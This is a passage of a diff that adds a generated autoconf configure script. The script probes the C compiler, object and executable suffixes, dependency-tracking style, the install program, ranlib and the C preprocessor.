+rm -f a.out a.exe conftest$ac_cv_exeext b.out
+ac_clean_files=$ac_clean_files_save
+# Check the compiler produces executables we can run. If not, either
+# the compiler is broken, or we cross compile.
+echo "$as_me:$LINENO: checking whether we are cross compiling" >&5
+echo $ECHO_N "checking whether we are cross compiling... $ECHO_C" >&6
+echo "$as_me:$LINENO: result: $cross_compiling" >&5
+echo "${ECHO_T}$cross_compiling" >&6
+
+echo "$as_me:$LINENO: checking for suffix of executables" >&5
+echo $ECHO_N "checking for suffix of executables... $ECHO_C" >&6
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+ (eval $ac_link) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); }; then
+ # If both `conftest.exe' and `conftest' are `present' (well, observable)
+# catch `conftest.exe'. For instance with Cygwin, `ls conftest' will
+# work properly (i.e., refer to `conftest.exe'), while it won't with
+# `rm'.
+for ac_file in conftest.exe conftest conftest.*; do
+ test -f "$ac_file" || continue
+ case $ac_file in
+ *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.o | *.obj ) ;;
+ *.* ) ac_cv_exeext=`expr "$ac_file" : '[^.]*\(\..*\)'`
+ export ac_cv_exeext
+ break;;
+ * ) break;;
+ esac
+done
+else
+ { { echo "$as_me:$LINENO: error: cannot compute suffix of executables: cannot compile and link
+See \`config.log' for more details." >&5
+echo "$as_me: error: cannot compute suffix of executables: cannot compile and link
+See \`config.log' for more details." >&2;}
+ { (exit 1); exit 1; }; }
+fi
+
+rm -f conftest$ac_cv_exeext
+echo "$as_me:$LINENO: result: $ac_cv_exeext" >&5
+echo "${ECHO_T}$ac_cv_exeext" >&6
+
+rm -f conftest.$ac_ext
+EXEEXT=$ac_cv_exeext
+ac_exeext=$EXEEXT
+echo "$as_me:$LINENO: checking for suffix of object files" >&5
+echo $ECHO_N "checking for suffix of object files... $ECHO_C" >&6
+if test "${ac_cv_objext+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+
+int
+main ()
+{
+
+ ;
+ return 0;
+}
+_ACEOF
+rm -f conftest.o conftest.obj
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+ (eval $ac_compile) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); }; then
+ for ac_file in `(ls conftest.o conftest.obj; ls conftest.*) 2>/dev/null`; do
+ case $ac_file in
+ *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg ) ;;
+ *) ac_cv_objext=`expr "$ac_file" : '.*\.\(.*\)'`
+ break;;
+ esac
+done
+else
+ echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+{ { echo "$as_me:$LINENO: error: cannot compute suffix of object files: cannot compile
+See \`config.log' for more details." >&5
+echo "$as_me: error: cannot compute suffix of object files: cannot compile
+See \`config.log' for more details." >&2;}
+ { (exit 1); exit 1; }; }
+fi
+
+rm -f conftest.$ac_cv_objext conftest.$ac_ext
+fi
+echo "$as_me:$LINENO: result: $ac_cv_objext" >&5
+echo "${ECHO_T}$ac_cv_objext" >&6
+OBJEXT=$ac_cv_objext
+ac_objext=$OBJEXT
+echo "$as_me:$LINENO: checking whether we are using the GNU C compiler" >&5
+echo $ECHO_N "checking whether we are using the GNU C compiler... $ECHO_C" >&6
+if test "${ac_cv_c_compiler_gnu+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+
+int
+main ()
+{
+#ifndef __GNUC__
+ choke me
+#endif
+
+ ;
+ return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+ (eval $ac_compile) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); } &&
+ { ac_try='test -s conftest.$ac_objext'
+ { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+ (eval $ac_try) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); }; }; then
+ ac_compiler_gnu=yes
+else
+ echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_compiler_gnu=no
+fi
+rm -f conftest.$ac_objext conftest.$ac_ext
+ac_cv_c_compiler_gnu=$ac_compiler_gnu
+
+fi
+echo "$as_me:$LINENO: result: $ac_cv_c_compiler_gnu" >&5
+echo "${ECHO_T}$ac_cv_c_compiler_gnu" >&6
+GCC=`test $ac_compiler_gnu = yes && echo yes`
+ac_test_CFLAGS=${CFLAGS+set}
+ac_save_CFLAGS=$CFLAGS
+CFLAGS="-g"
+echo "$as_me:$LINENO: checking whether $CC accepts -g" >&5
+echo $ECHO_N "checking whether $CC accepts -g... $ECHO_C" >&6
+if test "${ac_cv_prog_cc_g+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+
+int
+main ()
+{
+
+ ;
+ return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+ (eval $ac_compile) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); } &&
+ { ac_try='test -s conftest.$ac_objext'
+ { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+ (eval $ac_try) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); }; }; then
+ ac_cv_prog_cc_g=yes
+else
+ echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_cv_prog_cc_g=no
+fi
+rm -f conftest.$ac_objext conftest.$ac_ext
+fi
+echo "$as_me:$LINENO: result: $ac_cv_prog_cc_g" >&5
+echo "${ECHO_T}$ac_cv_prog_cc_g" >&6
+if test "$ac_test_CFLAGS" = set; then
+ CFLAGS=$ac_save_CFLAGS
+elif test $ac_cv_prog_cc_g = yes; then
+ if test "$GCC" = yes; then
+ CFLAGS="-g -O2"
+ else
+ CFLAGS="-g"
+ fi
+else
+ if test "$GCC" = yes; then
+ CFLAGS="-O2"
+ else
+ CFLAGS=
+ fi
+fi
+echo "$as_me:$LINENO: checking for $CC option to accept ANSI C" >&5
+echo $ECHO_N "checking for $CC option to accept ANSI C... $ECHO_C" >&6
+if test "${ac_cv_prog_cc_stdc+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ ac_cv_prog_cc_stdc=no
+ac_save_CC=$CC
+cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+#include <stdarg.h>
+#include <stdio.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+/* Most of the following tests are stolen from RCS 5.7's src/conf.sh. */
+struct buf { int x; };
+FILE * (*rcsopen) (struct buf *, struct stat *, int);
+static char *e (p, i)
+ char **p;
+ int i;
+{
+ return p[i];
+}
+static char *f (char * (*g) (char **, int), char **p, ...)
+{
+ char *s;
+ va_list v;
+ va_start (v,p);
+ s = g (p, va_arg (v,int));
+ va_end (v);
+ return s;
+}
+int test (int i, double x);
+struct s1 {int (*f) (int a);};
+struct s2 {int (*f) (double a);};
+int pairnames (int, char **, FILE *(*)(struct buf *, struct stat *, int), int, int);
+int argc;
+char **argv;
+int
+main ()
+{
+return f (e, argv, 0) != argv[0] || f (e, argv, 1) != argv[1];
+ ;
+ return 0;
+}
+_ACEOF
+# Don't try gcc -ansi; that turns off useful extensions and
+# breaks some systems' header files.
+# AIX -qlanglvl=ansi
+# Ultrix and OSF/1 -std1
+# HP-UX 10.20 and later -Ae
+# HP-UX older versions -Aa -D_HPUX_SOURCE
+# SVR4 -Xc -D__EXTENSIONS__
+for ac_arg in "" -qlanglvl=ansi -std1 -Ae "-Aa -D_HPUX_SOURCE" "-Xc -D__EXTENSIONS__"
+do
+ CC="$ac_save_CC $ac_arg"
+ rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+ (eval $ac_compile) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); } &&
+ { ac_try='test -s conftest.$ac_objext'
+ { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+ (eval $ac_try) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); }; }; then
+ ac_cv_prog_cc_stdc=$ac_arg
+break
+else
+ echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+fi
+rm -f conftest.$ac_objext
+done
+rm -f conftest.$ac_ext conftest.$ac_objext
+CC=$ac_save_CC
+
+fi
+
+case "x$ac_cv_prog_cc_stdc" in
+ x|xno)
+ echo "$as_me:$LINENO: result: none needed" >&5
+echo "${ECHO_T}none needed" >&6 ;;
+ *)
+ echo "$as_me:$LINENO: result: $ac_cv_prog_cc_stdc" >&5
+echo "${ECHO_T}$ac_cv_prog_cc_stdc" >&6
+ CC="$CC $ac_cv_prog_cc_stdc" ;;
+esac
+
+# Some people use a C++ compiler to compile C. Since we use `exit',
+# in C++ we need to declare it. In case someone uses the same compiler
+# for both compiling C and C++ we need to have the C++ compiler decide
+# the declaration of exit, since it's the most demanding environment.
+cat >conftest.$ac_ext <<_ACEOF
+#ifndef __cplusplus
+ choke me
+#endif
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+ (eval $ac_compile) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); } &&
+ { ac_try='test -s conftest.$ac_objext'
+ { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+ (eval $ac_try) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); }; }; then
+ for ac_declaration in \
+ ''\
+ '#include <stdlib.h>' \
+ 'extern "C" void std::exit (int) throw (); using std::exit;' \
+ 'extern "C" void std::exit (int); using std::exit;' \
+ 'extern "C" void exit (int) throw ();' \
+ 'extern "C" void exit (int);' \
+ 'void exit (int);'
+do
+ cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+#include <stdlib.h>
+$ac_declaration
+int
+main ()
+{
+exit (42);
+ ;
+ return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+ (eval $ac_compile) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); } &&
+ { ac_try='test -s conftest.$ac_objext'
+ { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+ (eval $ac_try) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); }; }; then
+ :
+else
+ echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+continue
+fi
+rm -f conftest.$ac_objext conftest.$ac_ext
+ cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+$ac_declaration
+int
+main ()
+{
+exit (42);
+ ;
+ return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+ (eval $ac_compile) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); } &&
+ { ac_try='test -s conftest.$ac_objext'
+ { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+ (eval $ac_try) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); }; }; then
+ break
+else
+ echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+fi
+rm -f conftest.$ac_objext conftest.$ac_ext
+done
+rm -f conftest*
+if test -n "$ac_declaration"; then
+ echo '#ifdef __cplusplus' >>confdefs.h
+ echo $ac_declaration >>confdefs.h
+ echo '#endif' >>confdefs.h
+fi
+
+else
+ echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+fi
+rm -f conftest.$ac_objext conftest.$ac_ext
+ac_ext=c
+ac_cpp='$CPP $CPPFLAGS'
+ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
+ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
+ac_compiler_gnu=$ac_cv_c_compiler_gnu
+rm -f .deps 2>/dev/null
+mkdir .deps 2>/dev/null
+if test -d .deps; then
+ DEPDIR=.deps
+else
+ # MS-DOS does not allow filenames that begin with a dot.
+ DEPDIR=_deps
+fi
+rmdir .deps 2>/dev/null
+
+
+ ac_config_commands="$ac_config_commands depfiles"
+
+
+am_make=${MAKE-make}
+cat > confinc << 'END'
+doit:
+ @echo done
+END
+# If we don't find an include directive, just comment out the code.
+echo "$as_me:$LINENO: checking for style of include used by $am_make" >&5
+echo $ECHO_N "checking for style of include used by $am_make... $ECHO_C" >&6
+am__include="#"
+am__quote=
+_am_result=none
+# First try GNU make style include.
+echo "include confinc" > confmf
+# We grep out `Entering directory' and `Leaving directory'
+# messages which can occur if `w' ends up in MAKEFLAGS.
+# In particular we don't look at `^make:' because GNU make might
+# be invoked under some other name (usually "gmake"), in which
+# case it prints its new name instead of `make'.
+if test "`$am_make -s -f confmf 2> /dev/null | fgrep -v 'ing directory'`" = "done"; then
+ am__include=include
+ am__quote=
+ _am_result=GNU
+fi
+# Now try BSD make style include.
+if test "$am__include" = "#"; then
+ echo '.include "confinc"' > confmf
+ if test "`$am_make -s -f confmf 2> /dev/null`" = "done"; then
+ am__include=.include
+ am__quote="\""
+ _am_result=BSD
+ fi
+fi
+
+
+echo "$as_me:$LINENO: result: $_am_result" >&5
+echo "${ECHO_T}$_am_result" >&6
+rm -f confinc confmf
+
+# Check whether --enable-dependency-tracking or --disable-dependency-tracking was given.
+if test "${enable_dependency_tracking+set}" = set; then
+ enableval="$enable_dependency_tracking"
+
+fi;
+if test "x$enable_dependency_tracking" != xno; then
+ am_depcomp="$ac_aux_dir/depcomp"
+ AMDEPBACKSLASH='\'
+fi
+
+
+if test "x$enable_dependency_tracking" != xno; then
+ AMDEP_TRUE=
+ AMDEP_FALSE='#'
+else
+ AMDEP_TRUE='#'
+ AMDEP_FALSE=
+fi
+
+
+
+
+depcc="$CC" am_compiler_list=
+
+echo "$as_me:$LINENO: checking dependency style of $depcc" >&5
+echo $ECHO_N "checking dependency style of $depcc... $ECHO_C" >&6
+if test "${am_cv_CC_dependencies_compiler_type+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ if test -z "$AMDEP_TRUE" && test -f "$am_depcomp"; then
+ # We make a subdir and do the tests there. Otherwise we can end up
+ # making bogus files that we don't know about and never remove. For
+ # instance it was reported that on HP-UX the gcc test will end up
+ # making a dummy file named `D' -- because `-MD' means `put the output
+ # in D'.
+ mkdir conftest.dir
+ # Copy depcomp to subdir because otherwise we won't find it if we're
+ # using a relative directory.
+ cp "$am_depcomp" conftest.dir
+ cd conftest.dir
+
+ am_cv_CC_dependencies_compiler_type=none
+ if test "$am_compiler_list" = ""; then
+ am_compiler_list=`sed -n 's/^#*\([a-zA-Z0-9]*\))$/\1/p' < ./depcomp`
+ fi
+ for depmode in $am_compiler_list; do
+ # We need to recreate these files for each test, as the compiler may
+ # overwrite some of them when testing with obscure command lines.
+ # This happens at least with the AIX C compiler.
+ echo '#include "conftest.h"' > conftest.c
+ echo 'int i;' > conftest.h
+ echo "${am__include} ${am__quote}conftest.Po${am__quote}" > confmf
+
+ case $depmode in
+ nosideeffect)
+ # after this tag, mechanisms are not by side-effect, so they'll
+ # only be used when explicitly requested
+ if test "x$enable_dependency_tracking" = xyes; then
+ continue
+ else
+ break
+ fi
+ ;;
+ none) break ;;
+ esac
+ # We check with `-c' and `-o' for the sake of the "dashmstdout"
+ # mode. It turns out that the SunPro C++ compiler does not properly
+ # handle `-M -o', and we need to detect this.
+ if depmode=$depmode \
+ source=conftest.c object=conftest.o \
+ depfile=conftest.Po tmpdepfile=conftest.TPo \
+ $SHELL ./depcomp $depcc -c conftest.c -o conftest.o >/dev/null 2>&1 &&
+ grep conftest.h conftest.Po > /dev/null 2>&1 &&
+ ${MAKE-make} -s -f confmf > /dev/null 2>&1; then
+ am_cv_CC_dependencies_compiler_type=$depmode
+ break
+ fi
+ done
+
+ cd ..
+ rm -rf conftest.dir
+else
+ am_cv_CC_dependencies_compiler_type=none
+fi
+
+fi
+echo "$as_me:$LINENO: result: $am_cv_CC_dependencies_compiler_type" >&5
+echo "${ECHO_T}$am_cv_CC_dependencies_compiler_type" >&6
+CCDEPMODE=depmode=$am_cv_CC_dependencies_compiler_type
+
+
+# Find a good install program. We prefer a C program (faster),
+# so one script is as good as another. But avoid the broken or
+# incompatible versions:
+# SysV /etc/install, /usr/sbin/install
+# SunOS /usr/etc/install
+# IRIX /sbin/install
+# AIX /bin/install
+# AmigaOS /C/install, which installs bootblocks on floppy discs
+# AIX 4 /usr/bin/installbsd, which doesn't work without a -g flag
+# AFS /usr/afsws/bin/install, which mishandles nonexistent args
+# SVR4 /usr/ucb/install, which tries to use the nonexistent group "staff"
+# ./install, which can be erroneously created by make from ./install.sh.
+echo "$as_me:$LINENO: checking for a BSD-compatible install" >&5
+echo $ECHO_N "checking for a BSD-compatible install... $ECHO_C" >&6
+if test -z "$INSTALL"; then
+if test "${ac_cv_path_install+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+ IFS=$as_save_IFS
+ test -z "$as_dir" && as_dir=.
+ # Account for people who put trailing slashes in PATH elements.
+case $as_dir/ in
+ ./ | .// | /cC/* | \
+ /etc/* | /usr/sbin/* | /usr/etc/* | /sbin/* | /usr/afsws/bin/* | \
+ /usr/ucb/* ) ;;
+ *)
+ # OSF1 and SCO ODT 3.0 have their own names for install.
+ # Don't use installbsd from OSF since it installs stuff as root
+ # by default.
+ for ac_prog in ginstall scoinst install; do
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if $as_executable_p "$as_dir/$ac_prog$ac_exec_ext"; then
+ if test $ac_prog = install &&
+ grep dspmsg "$as_dir/$ac_prog$ac_exec_ext" >/dev/null 2>&1; then
+ # AIX install. It has an incompatible calling convention.
+ :
+ elif test $ac_prog = install &&
+ grep pwplus "$as_dir/$ac_prog$ac_exec_ext" >/dev/null 2>&1; then
+ # program-specific install script used by HP pwplus--don't use.
+ :
+ else
+ ac_cv_path_install="$as_dir/$ac_prog$ac_exec_ext -c"
+ break 3
+ fi
+ fi
+ done
+ done
+ ;;
+esac
+done
+
+
+fi
+ if test "${ac_cv_path_install+set}" = set; then
+ INSTALL=$ac_cv_path_install
+ else
+ # As a last resort, use the slow shell script. We don't cache a
+ # path for INSTALL within a source directory, because that will
+ # break other packages using the cache if that directory is
+ # removed, or if the path is relative.
+ INSTALL=$ac_install_sh
+ fi
+fi
+echo "$as_me:$LINENO: result: $INSTALL" >&5
+echo "${ECHO_T}$INSTALL" >&6
+
+# Use test -z because SunOS4 sh mishandles braces in ${var-val}.
+# It thinks the first close brace ends the variable substitution.
+test -z "$INSTALL_PROGRAM" && INSTALL_PROGRAM='${INSTALL}'
+
+test -z "$INSTALL_SCRIPT" && INSTALL_SCRIPT='${INSTALL}'
+
+test -z "$INSTALL_DATA" && INSTALL_DATA='${INSTALL} -m 644'
+
+if test -n "$ac_tool_prefix"; then
+ # Extract the first word of "${ac_tool_prefix}ranlib", so it can be a program name with args.
+set dummy ${ac_tool_prefix}ranlib; ac_word=$2
+echo "$as_me:$LINENO: checking for $ac_word" >&5
+echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6
+if test "${ac_cv_prog_RANLIB+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ if test -n "$RANLIB"; then
+ ac_cv_prog_RANLIB="$RANLIB" # Let the user override the test.
+else
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+ IFS=$as_save_IFS
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+ ac_cv_prog_RANLIB="${ac_tool_prefix}ranlib"
+ echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+done
+done
+
+fi
+fi
+RANLIB=$ac_cv_prog_RANLIB
+if test -n "$RANLIB"; then
+ echo "$as_me:$LINENO: result: $RANLIB" >&5
+echo "${ECHO_T}$RANLIB" >&6
+else
+ echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+fi
+if test -z "$ac_cv_prog_RANLIB"; then
+ ac_ct_RANLIB=$RANLIB
+ # Extract the first word of "ranlib", so it can be a program name with args.
+set dummy ranlib; ac_word=$2
+echo "$as_me:$LINENO: checking for $ac_word" >&5
+echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6
+if test "${ac_cv_prog_ac_ct_RANLIB+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ if test -n "$ac_ct_RANLIB"; then
+ ac_cv_prog_ac_ct_RANLIB="$ac_ct_RANLIB" # Let the user override the test.
+else
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+ IFS=$as_save_IFS
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+ ac_cv_prog_ac_ct_RANLIB="ranlib"
+ echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+done
+done
+
+ test -z "$ac_cv_prog_ac_ct_RANLIB" && ac_cv_prog_ac_ct_RANLIB=":"
+fi
+fi
+ac_ct_RANLIB=$ac_cv_prog_ac_ct_RANLIB
+if test -n "$ac_ct_RANLIB"; then
+ echo "$as_me:$LINENO: result: $ac_ct_RANLIB" >&5
+echo "${ECHO_T}$ac_ct_RANLIB" >&6
+else
+ echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+ RANLIB=$ac_ct_RANLIB
+else
+ RANLIB="$ac_cv_prog_RANLIB"
+fi
+
+
+
+ac_ext=c
+ac_cpp='$CPP $CPPFLAGS'
+ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
+ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
+ac_compiler_gnu=$ac_cv_c_compiler_gnu
+echo "$as_me:$LINENO: checking how to run the C preprocessor" >&5
+echo $ECHO_N "checking how to run the C preprocessor... $ECHO_C" >&6
+# On Suns, sometimes $CPP names a directory.
+if test -n "$CPP" && test -d "$CPP"; then
+ CPP=
+fi
+if test -z "$CPP"; then
+ if test "${ac_cv_prog_CPP+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ # Double quotes because CPP needs to be expanded
+ for CPP in "$CC -E" "$CC -E -traditional-cpp" "/lib/cpp"
+ do
+ ac_preproc_ok=false
+for ac_c_preproc_warn_flag in '' yes
+do
+ # Use a header file that comes with gcc, so configuring glibc
+ # with a fresh cross-compiler works.
+ # Prefer <limits.h> to <assert.h> if __STDC__ is defined, since
+ # <limits.h> exists even on freestanding compilers.
+ # On the NeXT, cc -E runs the code through the compiler's parser,
+ # not just through cpp. "Syntax error" is here to catch this case.
+ cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+#ifdef __STDC__
+# include <limits.h>
+#else
+# include <assert.h>
+#endif
+ Syntax error
+_ACEOF
+if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5
+ (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1
+ ac_status=$?
+ grep -v '^ *+' conftest.er1 >conftest.err
+ rm -f conftest.er1
+ cat conftest.err >&5
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); } >/dev/null; then
+ if test -s conftest.err; then
+ ac_cpp_err=$ac_c_preproc_warn_flag
+ else
+ ac_cpp_err=
+ fi
+else
+ ac_cpp_err=yes
+fi
+if test -z "$ac_cpp_err"; then
+ :
+else
+ echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ # Broken: fails on valid input.
+continue
+fi
+rm -f conftest.err conftest.$ac_ext
+
+ # OK, works on sane cases. Now check whether non-existent headers
+ # can be detected and how.
+ cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+#include <ac_nonexistent.h>
+_ACEOF
+if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5
+ (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1
+ ac_status=$?
+ grep -v '^ *+' conftest.er1 >conftest.err
+ rm -f conftest.er1
+ cat conftest.err >&5
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); } >/dev/null; then
+ if test -s conftest.err; then
+ ac_cpp_err=$ac_c_preproc_warn_flag
+ else
+ ac_cpp_err=
+ fi
+else
+ ac_cpp_err=yes
+fi
+if test -z "$ac_cpp_err"; then
+ # Broken: success on invalid input.
+continue
+else
+ echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ # Passes both tests.
+ac_preproc_ok=:
+break
+fi
+rm -f conftest.err conftest.$ac_ext
+
+done
+# Because of `break', _AC_PREPROC_IFELSE's cleaning code was skipped.
+rm -f conftest.err conftest.$ac_ext
+if $ac_preproc_ok; then
+ break
+fi
+
+ done
+ ac_cv_prog_CPP=$CPP
+
+fi
+ CPP=$ac_cv_prog_CPP
+else
+ ac_cv_prog_CPP=$CPP
+fi
+echo "$as_me:$LINENO: result: $CPP" >&5
+echo "${ECHO_T}$CPP" >&6
+ac_preproc_ok=false
+for ac_c_preproc_warn_flag in '' yes
+do
+ # Use a header file that comes with gcc, so configuring glibc
+ # with a fresh cross-compiler works.
+ # Prefer <limits.h> to <assert.h> if __STDC__ is defined, since
+ # <limits.h> exists even on freestanding compilers.
+ # On the NeXT, cc -E runs the code through the compiler's parser,
+ # not just through cpp. "Syntax error" is here to catch this case.
+ cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+#ifdef __STDC__
+# include <limits.h>
+#else
+# include <assert.h>
+#endif
+ Syntax error
+_ACEOF
+if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5
+ (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1
+ ac_status=$?
+ grep -v '^ *+' conftest.er1 >conftest.err
+ rm -f conftest.er1
+ cat conftest.err >&5
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); } >/dev/null; then
+ if test -s conftest.err; then
+ ac_cpp_err=$ac_c_preproc_warn_flag
+ else
+ ac_cpp_err=
+ fi
+else
+ ac_cpp_err=yes
+fi
+if test -z "$ac_cpp_err"; then
+ :
+else
+ echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ # Broken: fails on valid input.
+continue
+fi
+rm -f conftest.err conftest.$ac_ext
+
+ # OK, works on sane cases. Now check whether non-existent headers
+ # can be detected and how.
+ cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+#include <ac_nonexistent.h>
+_ACEOF
